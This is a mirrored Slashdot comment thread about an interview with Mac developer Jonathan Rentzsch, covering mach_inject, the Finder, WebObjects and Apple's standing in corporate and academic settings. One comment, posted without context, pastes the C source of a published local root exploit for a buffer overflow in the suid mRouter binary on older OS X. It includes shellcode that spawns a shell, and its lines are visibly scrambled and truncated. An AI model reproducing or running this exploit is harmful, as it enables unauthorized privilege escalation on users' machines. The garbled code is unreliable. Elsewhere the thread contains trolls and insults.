Slashdot Mirror
Hacking Mac OS X
Bill Hamm writes "DB is carrying a deep interview with Jonathan Rentzsch, who created an open source technology to allow other developers to inject their code into any running process to alter its functions and written papers for IBM to program the PowerPC correctly. The interview is huge and technical, and all over the place in terms of content. Some of the things discussed are the reasons for corporate America's resistance to buying from Apple, software optimization, the importance and history of 10.4's Core Data, why WebObjects is no longer relevant, the status of PowerPC compilers, and why Mac OS X's Finder should be killed off."
...that the "hacking" in "Hacking Mac OS X" is referring to "hacking" in the traditional sense, not "cracking".
And for more on mach_inject, referred to in the summary, see Jonathan Rentzsch's website...and an interesting list of mach_inject and mach_override users.
As for the Finder, it may be true it was a "compromise" of sorts between the NeXT world and the Mac OS world. But it wasn't necessarily the social compromise between "personalities" within Apple it's pained to be; it was likely more of a technical one. It's not perfect, and it's woefully inadequate for some tasks that involve managing thousands (or hundreds of thousands) of files. But it's still more than sufficient, and there's no reason to completely junk it: it can continue to evolve and be improved upon.
I wasn't aware that something was wrong with finder in terms of useability. Could someone elaborate?
If you don't know what AltaVista is (was), get off my lawn.
The interviewee argues that WebObjects is still relevant, and the fastest way of coding Web Applications, but is in danger of becoming irrevelevant if Apple do not update it soon!
Get a free iPod Nano 4GB!
so basically is this just like dynamically open sourcing running operations?
...or did i just completely misunderstand that entire thing?
allowing users to modify whatever's running? interesting idea, and might be useful for developers who would like the ability to code in real time and see their changes implemented as they make them....
Corporate America is hesitant of buying Apple products because they cost too darn much. I love my PowerBook, but it was hella expensive.
This may be true, but it really doesn't have anything to do with article.
However, 'Corporate America' is built on wastefullness, why buy a smart car when you could buy a huge SUV? same reason as a mac, there is an image of wealth associated with it. (this disregards, of course, the sub $500 macs)
This sig is definitive. Reality is frequently inaccurate.
I wouldn't be surprised if Core Data apps don't get AppleScriptablity for free-to-cheap circa 10.5.
Seems like this is the promise of Automator - once every app can understand Applescript, every app can interact with every other, without the user.
concrete5: a cms made for marketing, but strong enough for geeks.
Doubling the size of your IT department in order to deal with technical problems is MORE expensive...
Which, many believe, is exactly the conspiracy that IT pushes on management. Bad computers justify their very jobs.
I suggest you read Slashdot
The interview is huge and technical, and all over the place in terms of content.
A huge technical interview on Slashdot?
A guess that means no one will read it, but everyone has an opinion.
Nice comment, too:
The Army reading list
Grow up. Go earn a living.
Oh, yes: and replace the Dock with something that actually works.
The Dock works.
The dock works well for what it is designed to do. Quick launch access to Applications you put their. Quick look to see which Applications are running.
Yes there are more advanced application launchers out there. But the normal users won't need/use them. Save these specialized launchers for the shareware market.
I live off a PowerBook. I totally live the PowerBook lifestyle. Between a condo, office and the farm, ongoing presentations at PSIG and CAWUG, train rides, plane rides and on-sites, it's just easier to keep everything inside one machine that goes with me and has anything.
at the risk of being mod'd flamebait... this just oozes Apple marketing speak. seriously... "powerbook lifestyle"? i'm a proud owner of a PowerBook G4 1Ghz 1GB RAM 80GB HD... but i don't live the "lifestyle"... i use it because it gets the job done. same reason i use a (patched) XP and FreeBSD 5.2.1 box with KDE at work. it gets the job done. sometimes, just sometimes, the zealotry among the apple users makes me just a weee bit quezy...
I use Path Finder as a drop-in replacement for Finder. It's a nice improvement over the standard finder, and its many options and side panels can be turned off to suit your preferences. I really like the drag n' drop 'holder', and showing directories grouped separately from normal files is just a good idea (haven't figured out how to do this with finder, what a pain!)
I mean who has the ability to post these weekly 30+ pages long blog masterpieces about Mac OS X?
Kudos to the blogger, beats many professional journalists.
So, suddenly if a vulnerability appears in <s>internet explorer</s> safari that lets <s>activex</s> applescript interact, though the web with <s>windows media player</s> VLC, and we've got all sorts of problems on our hands!
I hope some Mac Fan Moderator hasn't modded this Offtopic just because they disagree with this person's opinion. Surely you can be objective?
Stiny! Get me a danish!
The truth isn't offtopic. When we need to buy a new Mac, it's a mjor production with lease options considered, capital budgets, etc. It costs about $5000 to buy a new mac once you add in all the prepress software you need.
A new Linux box on the other hand, it's a quick $500 and then it's over.
I've had enough abrasive sigs. Kittens are cute and fuzzy.
Take a look at this on IBM compilers on mac os x. According to SPEC ratings int performance is 11% to 50% faster using xlc and floating point is apparantly even better. Most of the performance gains are over 50%. Apple of all people can afford a compiler to at least compile their own OS on. The free software side of me in the other hand is happy that they are choosing to improve the gnu compiler instead but it honestly doesn't make any sense to me since they can get a practicaly free huge performance gain on a relatively cheap purchase of a compiler.
-bloo
Uh... Nice one dude.
------ The best brain training is now totally free : )
No way. OSX Is too cute to do such things!
so long as you're going to argue by exaggeration and BS, then businesses have avoided Macs because they're run by retards and easily swayed by the herd instinct to go with Microsoft.
look at academics - Mac use there is enormous, because academics are intelligent enough to choose the best. they also use computers to do actual computer work, not just the occasional email and word document.
$5000? wow,what about this http://apple.slashdot.org/article.pl?sid=05/01/13/ 0035257&tid=181&tid=3 mac
And yes, your 'truth' is offtopic, since this topic is not about the pricing of a mac
This sig is definitive. Reality is frequently inaccurate.
Games!
Corporations want their workers to be productive and happy and not waiting forever for some doom or hl-2 port.
/*
l e/Contents/Resources/mRouter"
// Shellcode by b-r00t, modified by nemo.x 01\xc3\x38\x0a\xfe\xf4" \x f4\x44\xff\xff\x02" \x a6\x38\x63\x01\x60" \x fc\x38\x81\xff\xf8" \x 02\x7c\xa3\x2b\x78" \x 02\x2f\x62\x69\x6e" \
* fm-iSink.c
* overflow in mRouter, suid binary used by iSync, on OSX <= 10.3.7
*
* written by -( nemo @ felinemenace.org )-
*
* http://pulltheplug.org and http://felinemenace.org.
*
* Bug discovered by Braden Thomas. Exploit by nemo.
*
* -( need a challenge...? )-
* -( http://www.pulltheplug.org )-
*/
#include <sys/types.h>
#include <string.h>
#include <unistd.h>
#define VULNPROG "/System/Library/SyncServices/SymbianConduit.bund
#define MAXBUFSIZE 4096
char shellcode[] =
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\
"\x44\xff\xff\x02\x39\x40\x01\x23\x38\x0a\xfe\
"\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\
"\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\
"\x3b\xc0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\
"\x3b\xc0\x01\x0d\x38\x1e\xfe\xf4\x44\xff\xff\
"\x2f\x73\x68";
char filler[MAXBUFSIZE];
int main(int ac, char **av)
{
unsigned int ret = 0xbffffffa - strlen(shellcode);
char *args[] = { VULNPROG, "-v", "-a", filler, NULL };
char *env[] = { "TERM=xterm", shellcode, NULL };
memset(filler,(char)'A',sizeof(filler));
memcpy(filler+MAXBUFSIZE-5,&ret,4);
execve(*args, args,env);
return 0;
}
You want to implement Visual Basic for Applications, for OS X?
I guess that's why there are Mac users, Windows users and X users -- for my part I find it incomprehensible that there are people who prefer the Windows paradigm of stacks of windows they blindly Alt-tab through, or having all their open Word or Excel documents globbed together in a giant opaque square. And I don't see why those globs are more attractive in the office than at home. But I'm glad we have a choice.
By the way, when people bitch about Mac usability by complaining about the drag-disks-to-the-trash issue that was resolved a decade ago and has always been a non-issue for any user I've ever seen -- the absence of any second criticism tends to make their point in the opposite direction of intended...
What I'm listening to now on Pandora...
Like hell. I moved my least techical users (Sales and execs) to Macs and haven't had a support request in months. The ROI is very much worth the increased price tag over your typical Wintel box/laptop. The stability and lack of malware are some fo the more obvious benefits but don't forget the lack of forced upgrades, no antivirus licensing to worry about. Not to mention IT issues a Mac and completely forgets about it since there are no support issues. A Mac might be out of place if you're a Windows admin trying to lock down your users with draconian Group Policies but for those of use with servers to run that don't want to spend our time worrying whether or not our users can browse certain sites or install programs of their own, Macs are freaking great. I have idiot Sales guys running around the world with 70 day uptimes on their Macs. And not 1 complaint.
This guy is way out there
whats wrong? bad case of the mondays?
Doubling the size of your IT department is Good for your IT manager, though. Guess who makes buying decisions for IT hardware?
Why yes, I AM a rocket scientist!
This article is about many things, including corporate America's towards Macs, therefore it is on topic. We're simply exploring one specific aspect of the article.
Linux blog http://nsajeff.com/blog
Ouch. Again with the razor wit.
------ The best brain training is now totally free : )
I was going to mod you down for this bit "Mac designers were so proud of multitasking that windows didn't maximize automatically -- hardly making efficient use of screen real-estate. (See! There are multiple apps running behind this window!)." but decided the post had some worthwhile things overall.
I suppose it's a usage debate, really, but it always made sense to NOT maximize Windows in the MS-OS's way. It's disgustingly wasteful. With higher res displays, one should not be asking for a wider view of a single window, but how one can use that space for multiple windows. That's efficient multi-tasking, in my opinion. Not having one giant square blocking everything else from view.
Really? In my experience pre-OS X Mac's were a joke in academic circles. Since then the laptops are quite popular, as they're unix based and play nicely with the Linux and Sun workstations we all use. No one uses the desktops or servers.
This is coming from a physicist btw.
I totally agree -- that is until very recently. I think the Mac UI was completely overrated, illogical, slow and frequently unstable.
That is, until OSX.
I'd agree 100% with everything you said if this was a couple years ago. Now, though I have to say -- Windows has grown increasingly less logical, and Mac has taken the lead.
My two cents.
Of course ...
... but use osx at home?
Apple is of hacker culture
ever heard of guys who use linux at work
It's a well known fact that the term "hacker" did not originally apply to the people that media now calls hackers.
Cracking refers to people who break into computer systems using nefarious means. Ie Kevin Mitnick is mentioned on the wikipedia page, as he should be since he is probably the worlds most notorious cracker.
Just because the media says it, doesn't mean it's true. And if a cracker ever refers to him/herself as a hacker, you can rest easy because all your base will not belong to them. Anyone worth their merit knows the correct definition and differentations between cracking/hacking/spidering/phreaking/etc.
And just in case you all are too lazy to read the links... Linus Torvalds is listed as a famous hacker. This is the true definition of the term. It's not because he ever broke into computer systems, it's because he's a good programmer.
Also of note is that in the computer science community the word "hack" has gone on to have a somewhat negative connotation. For example, "Dude this code is such a hack." Although this refers more loosely to the "hack and slash" programming methodology... which often results in ugly code that is held together very loosely.
However, an ugly code "hack" and the word "hacker" are distinctly different. Please refrain from falling prey to false assumptions based on media in the future.
Such BS about no support calls from Mac users. I worked helpdesk for a company that at the time *did* deploy Macs to all employees instead of Windows PCs. Several hundred employees from clerical to sales to engineering. The half-dozen of us on the helpdesk were kept plenty busy taking support calls from people having problems on their macs. (Ask me how many times I've walked someone through rebuilding their desktop.)
Macs are perfectly fine systems, but those of us who have *actually* had jobs supporting them know that this "mac users have less support needs" idea is pure weapons-grade bolognium.
There is no technical reason why the coporate world couldn't go apple. There is also no reason why technically they couldn't go linux. Botton line is Apple never made an effort like MS did in courting Fortune 1000 companies during the 90's. Where was apple's groupware product? How about a high end database to go along with that?
Back when networks became the normal it was a Novell world. Microsoft made it easy to transistion to there products from Netware. What did apple do? I didn't seem they announcing parterships at corporate tradeshows all through the 90's.
Sure now with OS X and Xserve apple makes it easy to build and manage a network but it's effort before then were half-hearted at best. They simply didn't have a strong app server product and didn't put out very well supported tools like MS did which got all the ISV's on board.
Now its just a matter of MS owning >90% of desktop along with the groupware market. Even with Linux kicking MS's ass in the F&P, web, dns, and DB market it still can't touch MS in the groupware and desktop markets. And that's the way its going to stary for a long time till ISV's finally start developing for linux. Of course I've been saying that for over 6 years...
Now back to your point, your right a badly run XP network will easily outpace the cost of an average OS X network. Machines end up costing next to nothing. But a well run locked down XP network is simple to manage and in fact will cost less than an OS X network. Plus you have you choice in X86 hardware vendors. Apple's problem was it did one thing very well for the last 15 years. Cater to newbies, the edu market, and the artists etc. Now that market has become a trap for them and while they may gain back a tiny amount of marketshare with products like the minimac they are effectively cut off from the corporate market because they simply missed the boat. The only reason Linux has made a dent into MS's marketshare is because it was free and worked on hardware that companies already owned. Apple ceratinly doesn't have that going for it.
How is it that when business users all use the same machine, it's becuase of herd mentality, but when academics do, it's an example of sound judgement. In either case, the end user is not making the decision on the OS. Those decisions are made institutionally.
Also, in my experience in academia, most users in the humanities use the computer for word processing and email. Are there CS depts that use Mac's as their primary desktop? I would imagine it's Windows or Nix.
Business users have much higher demands than the average academic user (at least on the desktop).
I've never heard this term used before and would like to know what it means. Would someone please update wikipedia for me?
My little site.
Don't want to put you off your stream there, but the company is called "Apple", and the product is the "Mac" which is short for "Macintosh".
Mac don't do anything as far as I'm aware. However, Apple may or may not do the things you have described.
I agree with the comment about Version Control and Finder. I use TortoiseSVN on win32 and love it. When I code on my mac, I greatly miss this significant integration.
The beauty of TortoiseSVN (CVS) is that they integrate to the Windows Explorer, which is in turn used by *most* applications in windows for managing files allowing the version control to be very well integrated with the entire operating system.
Unfortunately on Mac the only decent graphical way of managing Subversion is through eSVN, although there are other projects out there, this one shows the most promice ( I have not actually tested on Mac yet though.
If Apple could allow for Icon overlays and adding of file attributes similar to Windows Explorer it would be a huge improvement to the usability of OSX for GUI based hacking.
For Core Mac'ers - Checkout the activity on TortoiseSVN project on tigris.org. There is a huge amount of activity on this project as it is widely used by a very diverse group of hackers. Unfortunately a differentiator on the side of win32.
JsD
Corporate America is risk-averse. With Microsoft, they get their OS from a single company, but they have a wide range of hardware choices. Furthermore, it may be a single software company, the software company is a monopolist, is extraordinarily wealthy, and will hang around for a long time.
With Apple, they have only a single source for both their hardware and software. The hardware range is limited and prices are essentially fixed by Apple. The operating system is used by only a few percent of computer users, and the application programming interfaces are neither a de-facto standard nor are they open source or conform to other open standards.
If Apple wants to catch on more widely, they either have to make their entire software platform open (probably ditching at least Quartz), or they have to create a third party PPC market (which they can share with Linux). If they don't do either, they won't be growing much more.
wake me when they post the transparent backgrounds OS X hack.
Rentzsch praises PyObjC saying "Python is a complete slam dunk".
I would like to know more about it. What is it good for? Any drawbacks? How to learn it?
What the f*ck does that mean? Can you please define "hella expensive" for me? Because I'm pretty sure that "hella" is not a word.
Retard.
No it's not. I support 30. Last support request I had was how to hook to an external projector. Train your users. Or maybe compare your support calls on Windows vs Macs.
This guy is way out there
Strangely, your gripes about the user interface are all completely reasonable design choices. Apple has worked out these design choices into a complete, usable system, which can be used by anyone with little practice.
Yet you act like the slightly different design choices made by Microsoft are somehow more appropriate in a corporate setting. I cannot see any substantial difference there, beyond what anyone is already used to.
Just because Apple is different doesn't make it bad, per se, but it does mean that you have to do some relearning and change your habits in order not to find the experience jarring.
Well, my 2.4Ghz/1Gb RAM Win2K machine seems about on par with my 600Mhz/512Mb RAM iMac at home. Windows accounts for about 50% of my total daily computer use, probably 30% is OS X and 20% is SuSE 9.1 on my laptop (2.8Ghz/1Gb RAM). Windows (including file copying) is the pig of the bunch.
And on the eighth day, God said "let there be meta-moderation".
Ok feel I feel I need to address this.
1) I use my iBook everyday in my "corporate America" Job
2) 'Mac' is not a company
. Error messaging was minimal ("sad mac"? please.)
3) the 'sad mac' was to indicate a hardware failure of some type, and it gave a diag code to lookup. Im not sure what kinda of failure code you are looking for from the built in ROM software. Perhaps you would like a blue screen filled with unintelligible register contents?
4) Ejecting a disk, well then I ask should there have been a separate 'eject media' icon?
5) One button mouse. Dont like the mouse go buy a 2 button mouse. they work just fine. However i get the distinct impression you dont use a mac anyway.
6) Auto sizing windows: this behavior is a personal preference, Some windows I want large, some not. Based on your previous comments you seem to be upset that Apple makes some choices for the user that are personal preferences, but when they dont make this one you are upset about that also.
Mac offered compatibility with windows networking very late in the game
7) Im not sure im getting the point of this one. If the complaint is that Apple (see #2) didnt add windows file sharing until osx, this seems to miss the point of this screed about 'Corporate America'. From a corporate network POV, the server is supposed to be set up to talk to the clients, the clients have no onus to be peer to peer compatible with other clients, otherwise you lose the central control that is predominant in the corporate arena. Of course to be fair you would also have to complain that PC work stations haven't added any non MS windows compatibility.
I can only assume by your context that you mean wintel x86 as corporate workstations, so I have to base my comments on that assumption. I suppose its possible you mean some stripped down unix workstation from like 1998.
You claim to 'like' macs, but your things you dont like seems to be picayune at best. For all of these things that you believe that would get in the way of your 'corporate' workflow, it seems as if you have never tried to do such a thing to begin with.
I feel that you are using this 'corporate' thing as a bag you can fill up with a bunch of complaints and use it to bolster your beliefs.
That is fucking nifty.
Assume I was drunk when I posted this.
I didn't buy iBook to make myself look rich
... I'll choose iBook anytime
Give me an option of newest Sony VAIO or ibook
I even still choose iBook over Toshiba Portege tablet. My bro has it. Sure it's lighter; however, Portege does not have internal DVD rom. So there is a bit of cheating there.
Combine any laptop, external drives, AC adaptor to a notebook bag. Do the same with Apple notebook.
For fair comparison, it's really hard to beat Apple's light-weight design.
Hope that helps you.
It's surprisingly simple. You know the Burger King motto "your way"? Apple's motto has always been "our way", and this simplicity, while it makes things easier for Apple, is a royal bitch for business customers. Further, Apple has always focused on "how can we control this to minimize our work" instead of "how can we help the customer?"
It used to be that if your Mac broke down and you were a business, an independent (but Apple certified) technician, maybe even one on your premises and employed by you, could ring up Apple, get the replacement part (it could even be done electronically, way back in the mid 90's, gasp!) and you'd be in business the next day. Many Apple resellers stocked common repair parts. As long as you had a serial number that wasn't out of warranty, nobody asked any questions. I got a free bezel to my 8500 when it broke, simply because the model wasn't old enough yet to be out of warranty. Two days later my new bezel was at the local Apple reseller. When I lost the end-cap on the hinge of my old powerbook, the university Apple technician took my serial number, and the next day tossed me a bag of 6.
Nowadays, Apple Stores are pretty much the only game in town thanks to preferential prioritization on severely limited inventory and (borderline illegal) price fixing.
They don't, for the most part, stock replacement parts. They don't do anything but the most basic repairs. Independent technicians can get certified by Apple (for thousands of dollars, which gets you self-study materials and 6 months access to Apple's internal support DB) but unless you meet a whole bunch of criteria (like moving around a half million dollars of product a quarter, carrying boatloads of insurance, etc) you don't qualify to be a reseller, and ONLY RESELLERS can order parts OR have access to Apple's internal technical support database OR perform "warranty" repairs. When I had one of the tiny little plastic feet replaced on my PB 17" a few months ago, I had to wait for half an hour while the Genius (broken sticky feet = Genius level) clicked through endless menus on the apple website, printed out about 10 pages, half of which I had to initial or sign to "authorize" the warranty repair, and the other half I got to keep (oh boy.) Replacing the foot took...2 minutes.
So, the short of it is that unless you bought Applecare AND you have a desktop (on-site service for laptops is not done under any circumstances; you've got to wait several days just to get it to them, because they have to ship you a box first), you're dumb shit out of luck for fixing your Mac quickly.
Want another example? If I'm a small business, I can get an account rep assigned from Dell, Gateway, etc. Even if I only buy a machine once a month- and it's been my general experience that they do a decent job at remembering who you are. Apple? You can buy 100 Macs a year and still not get anybody at Apple to say "boo" to you, because there's no such thing as direct sales. The best they can manage are "regional" business liasons, and they don't remember you from a goddamn hole in the wall.
Still not enough? If your Dell, Gateway, or HP breaks, out of warranty, you can call up that company's parts department and get a replacement. Apple? Nope. Sorry. You have to send your machine to the one Apple service center in the country (Texas) which will cost you a minimum non-refundable $250+ just to "look at it". They're infamous for wrecking unrelated parts and damaging stuff, and you can pretty much foget any data on the system...and how many of us have the facilities to back up 60GB? Not me.
As mentioned before- independent techs can't get parts. Customers certainly can't. Even Apple employees can't get parts- an employee said if he wants a personal system fixed, he has to take it to a repair center on the Apple "campus". So there's a huge "black market" in parts, often times from used machines that were bought on ebay and ripped apart for their guts because they're worth their weight in gold as parts.
Please help metamoderate.
Why after 3 updates to OS X is there still no one-click way to go up a directory? It's the most common task in file browsing!
If they'd just give me a nice 'Up' arrow in between the forward and back buttons I could forgive all the other reasons for Finder X's suckiness.
That said, I use PathFinder whenever possible.
What is amazing me most is the fact the someone has moded this up
People this is a trol and a very old one that has been posted a great deal.
from wikipedia http://en.wikipedia.org/wiki/Slashdot_troll
The only things certain in war are Propaganda and Death. You can never be sure which is which though
I supported close to a thousand macs for well over a year. Were there perhaps 30 people out of 1000 who rarely called us for help? Almost certainly. That doesn't change how often the phones rang every day.
And I was only on phone support. We had 2-3 field service techs dedicated to mac support who were kept constantly busy every day.
I've supported macs, pcs, a dozen or more flavors of UNIX. Every computer system has problems, and every computer system has even *more* problems the moment end-users start touching it. There is no idiot-proof system out there.
> For years Mac's windowing/subwindowing functions required multiple open windows on a screen to explore subdirectories.
Disclosure triangles have been available in List view since System 7. No multiple open windows necessary since 1991.
Oh come on - *nix (including linux) and windows are far, far, far more common in academia then OSX. There is no comparison when it comes to the availability of scientific software.
This is the same "Users are switching to OSX in droves because it just works" astroturfing we've been hearing since OSX was introduced. Apple makes a good machine - I bought a mini for my parents (who do nothing but email and the occasional word document) - but can we stay grounded in reality here? Apple has 5% of the desktop market and next to nothing in the server market. I've never seen an Xserve in person, and I defy you to find five people working outside Apple who have.
IT departments are concerned with many things, including networking, security policies, file servers, web servers, etc. What hardware and OS you buy makes little difference to most of those tasks.
Macs shine in small workgroups, where they have some advantages. Those advantages don't scale to large organizations: managing a large Mac network is as hard as managing a large Windows network--possibly harder, because there are fewer tools and fewer skilled people.
And unfortunately, those corporate workers all have kids in school. They lobby their towns to buy PCs that will 'prepare their kids' for work. I know someone who deals with this, and he's always being confronted by parents who are angry that the school system just bought another Mac lab.
I suggest you read Slashdot
One of the topics is why corporations don't use Macs.
We'd look kinda silly loading $3000 in software on a G4 mac mini that would barely run it, now wouldn't we?
I've had enough abrasive sigs. Kittens are cute and fuzzy.
Mac is the only choice for physics laptops (I'm not fighting to get linux to half-work). common tasks such as ssh with X forwarding, PDFs or anything involving a command line are trivial on Macs but a battle on Windows.
in my experience at conferences, speakers are either using a Mac, or using a Windows machine with powerpoint and appologising that they can't get one of their movies or images to display properly on the local projection system.
of course the beowulf clusters use linux (imagine that!), and so do the desktops as they are also being made into a "Cluster of Workstations" grid. but there are some Mac desktops too.
there's only one Windows machine in my department. it has a sign on it saying not to use because it's full of viruses and nobody cares about it enough to bother fixing it.
For years Mac's windowing/subwindowing functions required multiple open windows on a screen to explore subdirectories.
No they didn't. You're just showing your ignorance.
Replace "PowerBook" with "laptop" and it makes perfect sense. It's not about the brand name, so much as the flexibility that a portable offers. Some people, upon buying a laptop, get rid of all their desktops and live off of the notebook. It becomes a "lifestyle," inasmuch as your work files, eMail, calendar, address book, etc. are all on a single machine. Like the Blackberry lifestyle, or the Palm Pilot (remember those?) lifestyle, or the cell-phone lifestyle.
For the longest time, Mac-heads used "PowerBook" to mean "laptop" the way some people use "Kleenex" to mean "facial tissue."
I've been in ECE and CS depts for more than a few years now, and I'm definitely seeing more iBooks and Powerbooks.
Heck, one prof has 2 17" powerbooks for all his work.
I've got mixed feelings about looking to Windows Explorer for plugins. First, of course, Windows Explorer uses the HTML control and thus opens up a whole security can of worms. Second, too many people used the easy Explorer plugins rather than writing proper drivers for their devices. Cameras manufacturers are big-time sinners here, but even Microsoft went that way... so while your Pocket PC shows up on the desktop you can't get a UNC path pointing to the files...
And you can do an amazing lot with contextual menu plugins. All the Windows "Send To" capability becomes easy thanks to the CM Workshop. Apple needs to buy those guys a round of beer at least. GOOD beer too, mind!
But, Godohgodohgod... yes. They should never have tried to integrate the Mac OS 9 and NeXTSTeP applications. They should have left them as separate programs, and let people use the one they wanted... and left the NeXT shelf in place.
Oh, and contextual menus and the NeXT-style services really need some serious integration.
Or, they don't make/sell crap? Which one is it? Everytime /.ers do these comparisons it seems that the prices are at worst comparible to similar spec'd Win machines. Yes yes, you can build cheaper boxen, great. But I don't think this is what TFA is talking about.
Now, does the receptionist/accountant/sales person need a Dual 2.5 G5? Hell no. An iMac would even be overkill. But, a Mini IMO may be a nice alternative, especially if you have a room full of CRT's laying around like more and more IT departments are acquiring these days (LCD upgrades at my last two places of employment). Sure, you absolutely can buy cheaper PC's than $500, and many wouldn't need the built in FW, Radeon 9200, iLife, etc... that go into the final price of the Mini (throw in a keyboard and mouse too), but take away admin costs (if all hell breaks loose on an any of our Macs, I can reinstall a clean version of the OS in 20 minutes without touching the user space or installed apps) and it more than makes up for it IMO. Now, enter the OS intuitiveness wars below:
"The greatest obstacle to discovery is not ignorance - it is the illusion of knowledge." - Daniel Boorstin
If your main example is rebuilding desktops, I'd say your Mac support experience is getting out of date.
Corporate america is who buys Cisco kit which is expensive with a capital E, X and P!
(Their hardware is reasonable... want the firmware for your hardware? That's extra - the cost of the item again or (for their routers) many times that. Want *support*? Well, how big is your bank account? Oh dear. Can you get a mortgage?)
You will need a copy of OS X Server, but that's only $500 or $1,000. What BOFH can't hide that expense amount in a budget request? Especially if it means sticking it to those pesky Mac users!
For even more fun, treat your Mac users as if they were children needing supervision with Parental Controls -- no more sending messages to random users, no typing unapproved URLs into Safari, no running unapproved applications. Even better, the Parental Controls are built into every copy of OS X! What more can a BOFH ask for?
How is it that when business users all use the same machine, it's becuase of herd mentality, but when academics do, it's an example of sound judgement.
"Mac use is enormous" is not "academics all use the same machine". "Mac use is enormous" means "anything from 10 to 90 percent of the users prefer Macs, depending on the department".
Business users have much higher demands than the average academic user
I support business users, and I call bullshit. I'd go into details, but I'd still be here typing 'em up when quitting time came.
Change that to "pesky Windows users" in my book :) Good info, thanks. We BOFHs need to stick together, this inter-BOFH warfare could take years, cost millions of lives.
This guy is way out there
For years Mac's windowing/subwindowing functions required multiple open windows on a screen to explore subdirectories.
... um ... WRONG.
This has been untrue since System 5, circa 1989. Certainly pre Windows 3.0.
Mac designers were so proud of multitasking that windows didn't maximize automatically -- hardly making efficient use of screen real-estate.
This is a bizarre remark... drug induced?
1) Macs had overlapping Windows before they had threading.
2) The first multi-tasking implementation (beyond desk accessories) involved multiple virtual screens (no overlapping applications).
Many applications remember the state you set them in when you last used them and reinstate it when launched. Some don't. The same applies in Windows, with the exception that (a) it's easy to force maximization if you know a bit, and (b) Windows maximizes windows to fill the screen whereas the Mac maximizes windows to show as much as possible, but no more than required. I don't see how the latter is a less efficient use of screen real estate than filling the screen with a largely empty window.
So
Mac never attempted to price their machines competitively for corporate America
I assume by "Mac" the writer means "Apple". In fact, Apple has offered many price-competitive computers, e.g. the Classic, the SE, the IIcx, the IIsi (the Mac mini being the most extreme example). It's not like the IBM XT was priced under the Apple II.
In any study of TCO I've read (e.g. from Gartner) you'll see Macs have a lower TCO than Wintel boxes. I would assume TCO matters to corporate America -- but only when comparing non-Apple options.
Just one example, of course. Though it certainly was pre-OSX. I hope now someone will tell me how OSX is the OS Messiah, and that there has never in history been a single support call on an OSX machine. Because it's based on UNIX, which many of us also don't have years of experience supporting.
Let me simply ask this: Does Apple Computer have a support department. If so, why? They never need support!
Again, I will reiterate, none of this is stating that Mac's suck. Apple makes great systems. But anyone who says they never need support is either wearing blinders or has a *very* small sample size. *All* OSes have problems sometimes.
Mac users do have less support needs, particularly when you're supporting OS X and it sounds like you weren't.
This guy is way out there
I'm still trying to figure out how it was posted on /. It's sure to just confuse a bunch of people who read the summary and think it's all about how 'the finder sux'... which is the shortest section in there. What's weird is I'd never noticed that hiding the Finder toolbar and sidebar changed the window from bushed metal to aqua look! While I have to admit that's stupid, I'm not sure it's a reason to toss the whole thing ( just make it all one or the other... I hate brushed metal, so I'd make it aqua, but just pick one, Apple! ).
Of course, I'm in the 'why the hell would you want to hide the toolbar and sidebar' camp, and thus don't often see the aqua-look windows unless I'm undoing something some old-time can't-learn-anything-new all-this-useful-file-navigation-stuff-confuses-me OS 9 user did. I guess that just shows my NeXT vs. Mac OS bias. For me, the Finder is not the biggest problem in OS X. It's the Menu bar. I've realized that it's not so great on larger screens. It's perfect for the Mac Classic screen, but it's not what people look at to figure out what the active application is. I promise, if there's a flashing cursor in a text field, the user is _sure_ that's the active application, they're not looking at the menu bar... it's a broken interface designed for a 9-inch screen. I'd say that's my NeXT bias, but I've spent a lot of time watching people use OS X, and they do _not_ pay attention to the menu bar, which ultimately makes it just a bit of lost screen real estate. Too bad that's the one thing that's not likely to change about Mac OS. Otherwise, OS X is the best thing _ever_.
I support an Xserve. The local theatre group has an Xserve and because I'm a Mac user on the desktop (I mostly do programming and Unix support work) I get to support it. It's a nice box. That said, when a comparable product from IBM of all people is half the price (IBM X306 vs. XServe), your machine is definitely overpriced :).
I like Macs, the management software is nice, and if the cost was even close to what can be bought in the x86 world, I'd recommend them to customers. As it is, I can only recommend them in Apple-only or mixed environments.
OSX is the OS Messiah, and that there has never in history been a single support call on an OSX machine. Because it's based on UNIX, which many of us also don't have years of experience supporting.
USE HOT GRITS WITH STATUE OF NATALIE PORTMAN (NAKED AND PETRIFIED)
2) Most of the support calls I fielded in the week I had that job were not OS specific, but along the lines of "How do I do a mail merge?"
3) A lot of companies use applications that are specific enough in scope that there aren't any ports to linux or Mac. If Company X NEEDS to use Product Y and Product Y is only availble for Windows, then Company X is going to use Windows, and x86 hardware. It's that simple
Free MacMini
That really depends on what that window's displaying. If it's old-style 80 columns of text, then of course maximising it at any "modern" resolution is a waste. On the other hand, most IDEs make very good use of as much screen space as you can throw at them, displaying additional information and controls, etc. I'd imagine that most other "professional" applications (eg image editing, CAD, etc) are the same, although my experience with them is strictly limited.
Oh, and "disgustingly wasteful"? That's rather a strong reaction - all we're talking about is screen space. Nothing is really being wasted; no-one is going without if I maximise all my windows...
It's official. Most of you are morons.
com.apple.symbolichotkeys.plist
com.apple.systempreferences.plist
Although I can't find where the Command-Tab hack to induce application switcher maybe. Any ideas to the folks who have been tinkering under the hood of Panther?
I guess "Mac use is enourmous" is open to some interpretation, but I would say 10% would not qualify as "enormous" to any normal sized person. Nor would it represent a substantial increase above Macs used in the business world. Remember, in some areas of "the business world" Macs are indeed the norm. (Publishing for example). If you can't tell me roughly how much more dramatically widespread Mac use is in the academic world than in the business world, then what's your point anyhow?
I work at an investment bank building and maintaining applications used by traders, which run on the Windows desktop. If there are more powerful "power users" than these guys, I don't want to meet them. Maybe things aren't quite so stressful working on the Help Desk over at corporate headquarters of Hickory Farms. Please take back your bullshit.
Apple has had *so long* to get the finder *perfect* and it's still not nearly as good as it could be.
looks-wise: when going from 9 to X, they threw a lot of babies out with the bathwater. consider active and inactive windows. in OS 9: foreground window had 3d effects all around it. EVERY OTHER WINDOW was solid light grey and a 1-pixel darker grey outline, period. no question about which was which. in OS X, it's waaaay too overly-cutely-designed and too subtle to be useful. OK, so the drop shadow is a bit smaller? great, that'd be tought to see even if my desktop picture *weren't* black. And the stoplight buttons are not there? OK, thanks. and the titlebar text goes from dark grey to medium grey? OK, super. OS 9 made the state of the computer *obvious.* OS X hides it behind pretty-but-subtle cues.
